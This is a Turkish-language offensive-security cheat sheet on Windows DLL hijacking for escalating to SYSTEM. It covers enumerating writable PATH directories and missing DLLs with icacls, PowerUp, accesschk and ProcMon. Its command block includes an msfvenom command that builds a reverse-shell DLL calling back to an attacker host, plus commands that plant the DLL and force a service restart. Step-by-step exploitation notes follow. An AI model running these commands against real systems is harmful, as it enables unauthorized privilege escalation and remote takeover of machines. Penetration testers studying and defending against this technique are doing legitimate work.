DLL Hijacking → Eksik DLL / Yazılabilir PATH ile SYSTEM
Yüksek yetkili bir işlem/servis var olmayan bir DLL'i ararken yazma hakkına sahip olduğun bir dizinde (uygulama klasörü veya yazılabilir PATH dizini) arıyorsa, oraya kötü amaçlı DLL koyup işlemi tetikleyerek SYSTEM bağlamında kod çalıştırırsın. ProcMon ile 'NAME NOT FOUND' DLL'leri enumere edilir.
- Yüksek yetkili (SYSTEM/admin) bir işlem veya servis
- DLL arama sırasındaki bir dizine yazma hakkı (uygulama dizini veya yazılabilir bir PATH girdisi)
- İşlemi başlatma/yeniden başlatma veya tetikleme imkanı
Komutlar
$env:Path -split ';' | ForEach-Object { if ($_ -and (Test-Path $_)) { icacls $_ } } powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Find-PathDLLHijack" accesschk.exe -accepteula -uwdq "C:\Path\To\AppDir" Procmon64.exe /AcceptEula msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o hijack.dll Copy-Item .\hijack.dll 'C:\Path\To\WritableDir\MISSING.dll'; Get-Service 'VulnSvc' | Restart-Service -Force Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch 'C:\\Windows' -and $_.StartName -eq 'LocalSystem' } | Select Name,PathName,StartName Zafiyetin Mantığı
Windows bir process bir DLL’i isimle (tam yol olmadan) yüklediğinde, onu belirli bir arama sırasıyla (DLL Search Order) arar. SafeDllSearchMode açıkken sıra kabaca: uygulama dizini → System32 → System16 → Windows dizini → mevcut çalışma dizini → %PATH% dizinleri. Eğer:
- Yüksek yetkili (SYSTEM) bir işlem var olmayan bir DLL arıyorsa (
NAME NOT FOUND), ve - bu işlemin uygulama dizinine VEYA aramadan önce gelen yazılabilir bir PATH dizinine senin yazma hakkın varsa,
o zaman doğru isimde kötü amaçlı bir DLL koyarak işlemi onu yüklemeye kandırır ve DllMain içinde kodunu SYSTEM olarak çalıştırırsın.
Tespit / Enumeration
1) Yazılabilir PATH dizinleri: %PATH%’i parçalayıp her dizinin ACL’ini icacls ile kontrol et. BUILTIN\Users/Authenticated Users için (W)/(M)/(F) veren bir PATH dizini en kolay yoldur — System32’den önce gelen yazılabilir bir girdi tüm SYSTEM işlemlerini etkileyebilir. PowerUp Find-PathDLLHijack bunu otomatik bulur.
2) Eksik DLL’ler (ProcMon): Sysinternals Process Monitor ile hedef işlemi izle. Filtreler:
OperationisCreateFile(veyaLoad Image)Pathends with.dllResultisNAME NOT FOUND
Bu sana işlemin aradığı ama bulamadığı DLL’lerin tam isim ve yolunu verir. Bunlardan yazılabilir bir konuma denk geleni hedef al. winPEAS de bazı DLL hijack ipuçlarını raporlar.
3) Hedef seçimi: SYSTEM olarak çalışan, Windows dışı binary’ye sahip ve senin tetikleyebileceğin (restart edebileceğin veya kullanıcı login’inde/zamanlı çalışan) bir servis/uygulama ideal.
Exploitation
- Kali’de
msfvenom -f dllile DLL payload üret. Modern DLL hijack için DLL’inDllMain’inde payload tetiklenir; gerekirse export-forwarding/proxy DLL ile orijinal fonksiyonları yönlendir ki uygulama crash olmasın. - DLL’i hedefin tam aradığı isimle (ProcMon’dan öğrendiğin) yazılabilir dizine kopyala.
- İşlemi/servisi yeniden başlat (
Restart-Service), kullanıcı login’ini bekle, ya da zamanlı görevi tetikle. - Reverse shell’i yakala / SYSTEM’i doğrula.
Notlar / Tuzaklar
- Sadece eksik (NAME NOT FOUND) DLL’ler güvenli hedeftir. Var olan bir DLL’i ezmek ya hak gerektirir ya da uygulamayı bozar.
- Uygulama DLL’in belirli export’larını çağırıyorsa, sadece
DllMainçalıştıran ham msfvenom DLL’i process’i çökertebilir — proxy/forwarder DLL (orijinal DLL’e export forward eden) daha güvenli ve sessizdir. - Mimari uyumu kritik: 64-bit işleme 64-bit, 32-bit’e 32-bit DLL ver.
- ProcMon’u hedef işlemin başladığı anı yakalamak için önce filtrele, sonra işlemi tetikle.
- Temizlik: yerleştirdiğin DLL’i sonradan sil ve raporla.